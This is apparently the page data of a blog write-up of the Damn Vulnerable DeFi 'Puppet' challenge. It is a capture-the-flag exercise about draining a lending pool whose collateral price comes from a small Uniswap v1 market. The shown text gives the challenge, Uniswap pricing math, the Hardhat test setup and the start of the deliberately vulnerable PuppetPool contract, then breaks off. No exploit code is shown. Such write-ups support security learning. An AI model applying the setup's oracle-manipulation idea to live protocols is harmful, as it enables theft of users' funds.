{
    "componentChunkName": "component---src-templates-blog-template-js",
    "path": "/defi-wargame-8/",
    "result": {"data":{"cur":{"id":"9372d1ca-a503-53a3-9871-138d6b04397b","html":"<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 720px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 56.111111111111114%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACtUlEQVQoz2WSS2hTWxSGd03apDVp0qSnyUlOTk5y8jRNk9qHSdM0abSlTWtta6nV+kBBxMeVi5PiQB2JDhTkclHhXikqVhFBEBR0ULgX8TFREBzo2JGIU0fyyTkqKg5+/g2b9bHWv5aYKfWRDWewNIVZ800NjSp2RxxfoJsOuRtZ6aHdl8PtzeDp6DLf7f48HqmTXHmOnScvM374NOr4QYTVHqGx2VD0FzW16Djb0jjdaRMajhaJxEumtNgAerJMNDFIOjfCyLaj1PYsUdm9hBDWEMIaRlgMVxBrFITF8CCiIYgQAbPrZkecltYEDlcKl2cd7vZOXN4MDncan9JDa6CX0ZF5hD8+RLo4RyRWQwr1E81PoGgl1NQwgfAAQbUXyZ+nI9BNUO2jTcpiNGG1aTRYVYSQsTRpCOGnq7OCWL9pkd0HTzE1fYS+6gITO/5kcuYQU4vH2Dx7iLH6LgYrs5SGZqhv3kMkNmBmLEQ7+fV1/jrzNzaHbgLLw3MIf7JKf20HqWwdLV0jUZglFK2Q7Z8mlqpiX6t/jcOUYnakR4usnD7PyqVV3r74TLW8HyG85HvGEB69jD83jpLYhKQO4k1N4A8NEc2MoSeryME8xuIMGYsyxlX1CveuPeL+yitu33jPsSPLOFzrzKxFd2Erxdo+kpktuOQCnmQdX2gIX2YULbERtzeNba2OxaaZUMNbXBmyG/Yyv/0sfxy4yPz0cTxSDostjFhdfsDTm0+4eOI6/cUF/Jk6HcESbYECktyL3RH7Ddhoj+J0pfF6c/ikDQSkGoHWKXTXPsSH/1/z6fk7Pv73jgtL/xBUCl8Lvx25AfgZ9n1848/ujBOXF9io/Mustspk8AHi1rllHl99yMtbz7hz7i7xSBnRGDKP+3vxz7AfHqHZGadLPsqi+oZd2huG5St8AZVBW0x2mN0ZAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"Puppet-contract\"\n        title=\"Puppet-contract\"\n        src=\"/static/6b05290aace75993e3443c321066e20f/37523/c8.png\"\n        srcset=\"/static/6b05290aace75993e3443c321066e20f/e9ff0/c8.png 180w,\n/static/6b05290aace75993e3443c321066e20f/f21e7/c8.png 360w,\n/static/6b05290aace75993e3443c321066e20f/37523/c8.png 720w,\n/static/6b05290aace75993e3443c321066e20f/302a4/c8.png 1080w,\n/static/6b05290aace75993e3443c321066e20f/07a9c/c8.png 1440w,\n/static/6b05290aace75993e3443c321066e20f/29114/c8.png 1920w\"\n        sizes=\"(max-width: 720px) 100vw, 720px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>Wargame Provider: <a href=\"https://twitter.com/tinchoabbate\">@tinchoabbate</a></p>\n<h1 id=\"challenge-8---puppet\" style=\"position:relative;\"><a href=\"#challenge-8---puppet\" aria-label=\"challenge 8   puppet permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a><strong>Challenge #8 - Puppet</strong></h1>\n<p>There’s a huge lending pool borrowing Damn Valuable Tokens\n(DVTs), where you first need to deposit twice the borrow amount in ETH\nas collateral. The pool currently has 100000 DVTs in liquidity.</p>\n<p>There’s a DVT market opened in an <a href=\"https://docs.uniswap.org/protocol/V1/introduction\">Uniswap v1 exchange</a>, currently with 10 ETH and 10 DVT in liquidity.</p>\n<p>Starting with 25 ETH and 1000 DVTs in balance, you must steal all tokens from the lending pool.</p>\n<ul>\n<li><a href=\"https://github.com/tinchoabbate/damn-vulnerable-defi/tree/v2.2.0/contracts/puppet\">See the contracts</a></li>\n<li><a href=\"https://github.com/tinchoabbate/damn-vulnerable-defi/blob/v2.2.0/test/puppet/puppet.challenge.js\">Complete the challenge</a></li>\n</ul>\n<h1 id=\"code-audit\" style=\"position:relative;\"><a href=\"#code-audit\" aria-label=\"code audit permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Code Audit</h1>\n<h2 id=\"transaction-flow\" style=\"position:relative;\"><a href=\"#transaction-flow\" aria-label=\"transaction flow permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Transaction Flow</h2>\n<h3 id=\"dependency-pattern\" style=\"position:relative;\"><a href=\"#dependency-pattern\" aria-label=\"dependency pattern permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Dependency Pattern</h3>\n<div class=\"gatsby-highlight\" data-language=\"solidity\"><pre class=\"language-solidity\"><code class=\"language-solidity\">UniswapV1Exchange\nUniswapV1Factory</code></pre></div>\n<ul>\n<li>It can be confirmed that the CAMM model liquidity pool exchange method is used based on the uniswap protocol v1.</li>\n</ul>\n<h3 id=\"setup-flow\" style=\"position:relative;\"><a href=\"#setup-flow\" aria-label=\"setup flow permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Setup flow</h3>\n<p>**Calculate ETH ↔ ERC20 Pair Input Price (**Buy Amount (Sell Order))</p>\n<ul>\n<li>In the case of a sales order (correct input), the purchase amount (output) is calculated as follows.</li>\n</ul>\n<div class=\"gatsby-highlight\" data-language=\"solidity\"><pre class=\"language-solidity\"><code class=\"language-solidity\"><span class=\"token keyword\">function</span> <span class=\"token function\">calculateTokenToEthInputPrice</span><span class=\"token punctuation\">(</span>tokensSold<span class=\"token punctuation\">,</span> tokensInReserve<span class=\"token punctuation\">,</span> etherInReserve<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">return</span> tokensSold<span class=\"token punctuation\">.</span><span class=\"token function\">mul</span><span class=\"token punctuation\">(</span>ethers<span class=\"token punctuation\">.</span>BigNumber<span class=\"token punctuation\">.</span><span class=\"token keyword\">from</span><span class=\"token punctuation\">(</span><span class=\"token string\">'997'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">mul</span><span class=\"token punctuation\">(</span>etherInReserve<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">div</span><span class=\"token punctuation\">(</span>\n      <span class=\"token punctuation\">(</span>tokensInReserve<span class=\"token punctuation\">.</span><span class=\"token function\">mul</span><span class=\"token punctuation\">(</span>ethers<span class=\"token punctuation\">.</span>BigNumber<span class=\"token punctuation\">.</span><span class=\"token keyword\">from</span><span class=\"token punctuation\">(</span><span class=\"token string\">'1000'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">add</span><span class=\"token punctuation\">(</span>tokensSold<span class=\"token punctuation\">.</span><span class=\"token function\">mul</span><span class=\"token punctuation\">(</span>ethers<span class=\"token punctuation\">.</span>BigNumber<span class=\"token punctuation\">.</span><span class=\"token keyword\">from</span><span class=\"token punctuation\">(</span><span class=\"token string\">'997'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<ul>\n<li>Uniswap has a separate exchange contract for each ERC20 token.</li>\n<li>This exchange holds both ETH and related ERC20. Users can trade on the reserve at any time. Reserves are pooled between a decentralized network of liquidity providers that collect fees for every transaction.</li>\n<li>The price is done automatically according to the <code class=\"language-text\">x * y = k</code> market-making formula, and the price is automatically adjusted according to the relative size of the two reserves and the size of the incoming trade.</li>\n<li>As all tokens share ETH as a common pair, they are used as intermediary assets for direct transactions between all ERC20 ⇄ ERC20 pairs.</li>\n<li>The parameters required to determine the price when trading ETH and ERC20 tokens are as follows.</li>\n</ul>\n<div class=\"gatsby-highlight\" data-language=\"text\"><pre class=\"language-text\"><code class=\"language-text\">1. ETH reserve size of the ERC20 exchange\n2. ERC20 reserve size of the ERC20 exchange\n3. Amount sold (input) or amount bought (output)</code></pre></div>\n<p><strong>State Variable (ERC20, ETH Balance setup)</strong></p>\n<div class=\"gatsby-highlight\" data-language=\"tsx\"><pre class=\"language-tsx\"><code class=\"language-tsx\"><span class=\"token comment\">// Uniswap exchange will start with 10 DVT and 10 ETH in liquidity</span>\n<span class=\"token keyword\">const</span> <span class=\"token constant\">UNISWAP_INITIAL_TOKEN_RESERVE</span> <span class=\"token operator\">=</span> <span class=\"token number\">10</span> ether\n<span class=\"token keyword\">const</span> <span class=\"token constant\">UNISWAP_INITIAL_ETH_RESERVE</span> <span class=\"token operator\">=</span> <span class=\"token number\">10</span> ether\n\n<span class=\"token keyword\">const</span> <span class=\"token constant\">ATTACKER_INITIAL_TOKEN_BALANCE</span> <span class=\"token operator\">=</span> <span class=\"token number\">1000</span> ether\n<span class=\"token keyword\">const</span> <span class=\"token constant\">ATTACKER_INITIAL_ETH_BALANCE</span> <span class=\"token operator\">=</span> <span class=\"token number\">25</span> ether\n<span class=\"token keyword\">const</span> <span class=\"token constant\">POOL_INITIAL_TOKEN_BALANCE</span> <span class=\"token operator\">=</span> <span class=\"token number\">100000</span> ether\n\n<span class=\"token keyword\">await</span> ethers<span class=\"token punctuation\">.</span>provider<span class=\"token punctuation\">.</span><span class=\"token function\">send</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"hardhat_setBalance\"</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">[</span>\n    attacker<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">,</span>\n    <span class=\"token string\">\"0x15af1d78b58c40000\"</span><span class=\"token punctuation\">,</span> <span class=\"token comment\">// 25 ETH</span>\n<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token function\">expect</span><span class=\"token punctuation\">(</span>\n    <span class=\"token keyword\">await</span> ethers<span class=\"token punctuation\">.</span>provider<span class=\"token punctuation\">.</span><span class=\"token function\">getBalance</span><span class=\"token punctuation\">(</span>attacker<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>to<span class=\"token punctuation\">.</span><span class=\"token function\">equal</span><span class=\"token punctuation\">(</span><span class=\"token constant\">ATTACKER_INITIAL_ETH_BALANCE</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span></code></pre></div>\n<ul>\n<li>Proceed with sending the value to the attacker’s address on the hardhat local chain according to the first specified amount.</li>\n</ul>\n<p><strong>Contract or Account Deploy (deployer, attacker)</strong></p>\n<div class=\"gatsby-highlight\" data-language=\"tsx\"><pre class=\"language-tsx\"><code class=\"language-tsx\"><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>deployer</span> <span class=\"token attr-name\">account</span><span class=\"token punctuation\">></span></span><span class=\"token plain-text\">\n\n- UniswapV1Exchange\n- UniswapV1Factory\n- DamnValuableToken\n- PuppetPool</span></code></pre></div>\n<ul>\n<li>The deployer deploys the four contracts and allocates each initial instance.</li>\n</ul>\n<div class=\"gatsby-highlight\" data-language=\"tsx\"><pre class=\"language-tsx\"><code class=\"language-tsx\"><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>token <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> DamnValuableTokenFactory<span class=\"token punctuation\">.</span><span class=\"token function\">deploy</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>exchangeTemplate <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> UniswapExchangeFactory<span class=\"token punctuation\">.</span><span class=\"token function\">deploy</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>uniswapFactory <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> UniswapFactoryFactory<span class=\"token punctuation\">.</span><span class=\"token function\">deploy</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>uniswapFactory<span class=\"token punctuation\">.</span><span class=\"token function\">initializeFactory</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>exchangeTemplate<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span></code></pre></div>\n<ul>\n<li>It is used to exchange within the uniswap protocol, and based on the exchange contracta to be used in the uniswap factory contract, the instance work in the <code class=\"language-text\">initializeFactory</code> contract is carried out.</li>\n</ul>\n<div class=\"gatsby-highlight\" data-language=\"tsx\"><pre class=\"language-tsx\"><code class=\"language-tsx\"><span class=\"token keyword\">let</span> tx <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>uniswapFactory<span class=\"token punctuation\">.</span><span class=\"token function\">createExchange</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>token<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span> gasLimit<span class=\"token operator\">:</span> <span class=\"token number\">1e6</span> <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">const</span> <span class=\"token punctuation\">{</span> events <span class=\"token punctuation\">}</span> <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> tx<span class=\"token punctuation\">.</span><span class=\"token function\">wait</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>uniswapExchange <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> UniswapExchangeFactory<span class=\"token punctuation\">.</span><span class=\"token function\">attach</span><span class=\"token punctuation\">(</span>events<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">.</span>args<span class=\"token punctuation\">.</span>exchange<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>lendingPool <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> PuppetPoolFactory<span class=\"token punctuation\">.</span><span class=\"token function\">deploy</span><span class=\"token punctuation\">(</span>\n    <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>token<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">,</span>\n    <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>uniswapExchange<span class=\"token punctuation\">.</span>address\n<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>token<span class=\"token punctuation\">.</span><span class=\"token function\">approve</span><span class=\"token punctuation\">(</span>\n    <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>uniswapExchange<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">,</span>\n    <span class=\"token constant\">UNISWAP_INITIAL_TOKEN_RESERVE</span>\n<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>uniswapExchange<span class=\"token punctuation\">.</span><span class=\"token function\">addLiquidity</span><span class=\"token punctuation\">(</span>\n    <span class=\"token number\">0</span><span class=\"token punctuation\">,</span>                                                          <span class=\"token comment\">// min_liquidity</span>\n    <span class=\"token constant\">UNISWAP_INITIAL_TOKEN_RESERVE</span><span class=\"token punctuation\">,</span>\n    <span class=\"token punctuation\">(</span><span class=\"token keyword\">await</span> ethers<span class=\"token punctuation\">.</span>provider<span class=\"token punctuation\">.</span><span class=\"token function\">getBlock</span><span class=\"token punctuation\">(</span><span class=\"token string\">'latest'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>timestamp <span class=\"token operator\">*</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span>   <span class=\"token comment\">// deadline</span>\n    <span class=\"token punctuation\">{</span> value<span class=\"token operator\">:</span> <span class=\"token constant\">UNISWAP_INITIAL_ETH_RESERVE</span><span class=\"token punctuation\">,</span> gasLimit<span class=\"token operator\">:</span> <span class=\"token number\">1e6</span> <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span></code></pre></div>\n<ul>\n<li>Create a <code class=\"language-text\">new exchange</code> for the token and connect the distributed <code class=\"language-text\">exchange</code> address with the contract to complete the instance work.</li>\n<li>Since the function is implemented using the Uniswap protocol while distributing a custom <code class=\"language-text\">PuppetPool</code> Contract, a token and a uniswapExchange Contract address are assigned during the initial constructor work.</li>\n<li>After setting access to the corresponding <code class=\"language-text\">uniswapExchange</code> contract based on 10 ether, add liquidity pool.</li>\n</ul>\n<div class=\"gatsby-highlight\" data-language=\"solidity\"><pre class=\"language-solidity\"><code class=\"language-solidity\">@<span class=\"token keyword\">payable</span>\n<span class=\"token function\">addLiquidity</span><span class=\"token punctuation\">(</span>\n    min_liquidity<span class=\"token punctuation\">:</span> <span class=\"token builtin\">uint256</span><span class=\"token punctuation\">,</span>\n    max_tokens<span class=\"token punctuation\">:</span> <span class=\"token builtin\">uint256</span><span class=\"token punctuation\">,</span>\n    deadline<span class=\"token punctuation\">:</span> <span class=\"token builtin\">uint256</span>\n<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span> <span class=\"token builtin\">uint256</span></code></pre></div>\n<ul>\n<li>The liquidity pool pattern is implemented based on the uniswapV1Exchange specification, and the specification criteria simply set the minimum liquidity, ERC 20 maximum token value, and liquidity transaction deadline as follows.</li>\n<li>For things like deadlines, many Uniswap features include transaction deadlines, which set a time at which transactions can no longer be executed. It is used because it restricts miners from holding signed transactions for long periods of time and executing them according to market movements, and also reduces uncertainty about transactions that take longer to execute due to gas price issues.</li>\n</ul>\n<h3 id=\"liquidity-pool-exchange-and-calculation-test-work\" style=\"position:relative;\"><a href=\"#liquidity-pool-exchange-and-calculation-test-work\" aria-label=\"liquidity pool exchange and calculation test work permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Liquidity pool exchange and calculation test work</h3>\n<div class=\"gatsby-highlight\" data-language=\"tsx\"><pre class=\"language-tsx\"><code class=\"language-tsx\"><span class=\"token function\">expect</span><span class=\"token punctuation\">(</span>\n    <span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>uniswapExchange<span class=\"token punctuation\">.</span><span class=\"token function\">getTokenToEthInputPrice</span><span class=\"token punctuation\">(</span>\n        ethers<span class=\"token punctuation\">.</span>utils<span class=\"token punctuation\">.</span><span class=\"token function\">parseEther</span><span class=\"token punctuation\">(</span><span class=\"token string\">'1'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>\n        <span class=\"token punctuation\">{</span> gasLimit<span class=\"token operator\">:</span> <span class=\"token number\">1e6</span> <span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>to<span class=\"token punctuation\">.</span>be<span class=\"token punctuation\">.</span><span class=\"token function\">eq</span><span class=\"token punctuation\">(</span>\n    <span class=\"token function\">calculateTokenToEthInputPrice</span><span class=\"token punctuation\">(</span>\n        ethers<span class=\"token punctuation\">.</span>utils<span class=\"token punctuation\">.</span><span class=\"token function\">parseEther</span><span class=\"token punctuation\">(</span><span class=\"token string\">'1'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>\n        <span class=\"token constant\">UNISWAP_INITIAL_TOKEN_RESERVE</span><span class=\"token punctuation\">,</span>\n        <span class=\"token constant\">UNISWAP_INITIAL_ETH_RESERVE</span>\n    <span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span></code></pre></div>\n<ul>\n<li>Work to check whether exchange between pair tokens is successful within the distributed liquidity pool</li>\n<li>After checking the quantity of tokens to be sold based on the <code class=\"language-text\">getTokenToEthInputPrice</code> method, the returned data, the amount of ETH that can be purchased, must match the value calculated based on the <code class=\"language-text\">calculateTokenToEthInputPrice</code> method implemented arbitrarily.</li>\n</ul>\n<h3 id=\"token-transfer-process\" style=\"position:relative;\"><a href=\"#token-transfer-process\" aria-label=\"token transfer process permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Token transfer process</h3>\n<div class=\"gatsby-highlight\" data-language=\"tsx\"><pre class=\"language-tsx\"><code class=\"language-tsx\"><span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>token<span class=\"token punctuation\">.</span><span class=\"token function\">transfer</span><span class=\"token punctuation\">(</span>attacker<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">,</span> <span class=\"token constant\">ATTACKER_INITIAL_TOKEN_BALANCE</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>token<span class=\"token punctuation\">.</span><span class=\"token function\">transfer</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>lendingPool<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">,</span> <span class=\"token constant\">POOL_INITIAL_TOKEN_BALANCE</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span></code></pre></div>\n<ul>\n<li>Allocating the balance of the tokens presented at the beginning,</li>\n</ul>\n<blockquote>\n<p>PuppetPool.sol</p>\n</blockquote>\n<div class=\"gatsby-highlight\" data-language=\"solidity\"><pre class=\"language-solidity\"><code class=\"language-solidity\"><span class=\"token comment\">// SPDX-License-Identifier: MIT</span>\n<span class=\"token keyword\">pragma</span> <span class=\"token keyword\">solidity</span> <span class=\"token operator\">^</span><span class=\"token version number\">0.8.0</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token keyword\">import</span> <span class=\"token string\">\"@openzeppelin/contracts/security/ReentrancyGuard.sol\"</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">import</span> <span class=\"token string\">\"@openzeppelin/contracts/utils/Address.sol\"</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">import</span> <span class=\"token string\">\"../DamnValuableToken.sol\"</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token comment\">/**\n* @title PuppetPool\n* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)\n*/</span>\n<span class=\"token keyword\">contract</span> <span class=\"token class-name\">PuppetPool</span> <span class=\"token keyword\">is</span> ReentrancyGuard <span class=\"token punctuation\">{</span>\n\n  <span class=\"token keyword\">using</span> <span class=\"token class-name\">Address</span> <span class=\"token keyword\">for</span> <span class=\"token builtin\">address</span> <span class=\"token keyword\">payable</span><span class=\"token punctuation\">;</span>\n\n  <span class=\"token keyword\">mapping</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">address</span> <span class=\"token operator\">=></span> <span class=\"token builtin\">uint256</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">public</span> deposits<span class=\"token punctuation\">;</span>\n  <span class=\"token builtin\">address</span> <span class=\"token keyword\">public</span> immutable uniswapPair<span class=\"token punctuation\">;</span>\n  DamnValuableToken <span class=\"token keyword\">public</span> immutable token<span class=\"token punctuation\">;</span>\n  \n  <span class=\"token keyword\">event</span> <span class=\"token function\">Borrowed</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">address</span> <span class=\"token keyword\">indexed</span> account<span class=\"token punctuation\">,</span> <span class=\"token builtin\">uint256</span> depositRequired<span class=\"token punctuation\">,</span> <span class=\"token builtin\">uint256</span> borrowAmount<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n  <span class=\"token keyword\">constructor</span> <span class=\"token punctuation\">(</span><span class=\"token builtin\">address</span> tokenAddress<span class=\"token punctuation\">,</span> <span class=\"token builtin\">address</span> uniswapPairAddress<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      token <span class=\"token operator\">=</span> <span 